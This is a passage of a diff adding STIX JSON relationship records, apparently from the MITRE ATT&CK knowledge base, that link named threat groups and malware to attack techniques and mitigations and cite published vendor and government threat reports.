"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9839e4e4-06c2-4f6a-8fe0-bc556e547536", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.828Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb6ffb5c-5405-4515-a120-7a34414933ea", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig April 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2d3fea03-c3a4-414c-8827-8f0416b1f88d", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.559Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--52d3e8a9-8801-497f-b1e1-6d45e196c79b", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.890Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) collects user files from the compromised host based on predefined file extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d77a4123-3d46-4317-8921-f6eb8c34c585", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component executes code sent via HTTP POST commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--27561720-48cb-427c-892f-b31ce4d61d9e", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:53.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can grab a system\u2019s information including the OS version, architecture, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7e2a1dfa-1ccd-4700-a4a5-3b98590ae710", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) adds a sub-key under several Registry run keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1cb54b2e-5f2d-4d1b-9fda-9b17f49de65b", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has retrieved internal documents from machines inside victim environments, including by using [Forfiles](https://attack.mitre.org/software/S0193) to stage documents before.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--73e0604a-2509-43a6-9318-a9494e570363", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.418Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fa0622d6-2b58-476f-9c57-e629785b0415", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--d35b9e63-a236-47f4-9fa8-d04719858115", + "source_ref": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025", + "modified": "2019-10-15T18:44:56.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has a VBScript for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--927d8495-e288-4c7f-8033-0d7e85d66b10", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b", + "source_ref": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f", + "modified": "2019-07-25T11:23:29.518Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--77426812-954b-49dd-9db8-c3aa99113678", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--eeae630c-0c58-4397-90fb-05f5b60b720f", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.485Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used the Ammyy Admin tool as well as TeamViewer for remote access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e74cdd3d-4ac7-42c5-a7ac-e2f58371fc5b", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.916Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d9d7d861-66c9-469e-8baa-d72c7844a40f", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--2482623f-65a7-4da5-8cb2-64279319e3dc", + "source_ref": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612", + "modified": "2019-07-25T11:44:15.797Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim MAC address and LAN IP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--92711ee1-041b-4e35-a322-3e16790fcce2", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596", + "source_ref": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514", + "modified": "2019-07-24T19:28:36.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "Tools used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) are capable of downloading and executing additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT3](https://attack.mitre.org/groups/G0022) obfuscates files or information to help evade defensive measures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[APT32](https://attack.mitre.org/groups/G0050) creates a Windows service to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2ac8ddca-49e7-4aa1-92ad-6746cd9cf8c7", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301", + "source_ref": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", + "modified": "2019-07-24T14:02:53.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "To move laterally on a victim network, [FIN6](https://attack.mitre.org/groups/G0037) has used credentials stolen from various systems on which it gathered usernames and password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--da395019-238a-4c4e-b4cd-43947e8aa019", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.773Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--35aac341-5371-42e8-ad93-3ab94a11b51a", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--92c68b65-18b8-44e9-a368-692048ba9611", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5718d7a3-c402-4816-92fb-4322094b84f8", + "source_ref": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e", + "modified": "2019-07-25T11:27:03.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f718c8ae-859f-4987-bf8c-9fac91a610bf", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.546Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "The file name AcroRD32.exe, a legitimate process name for 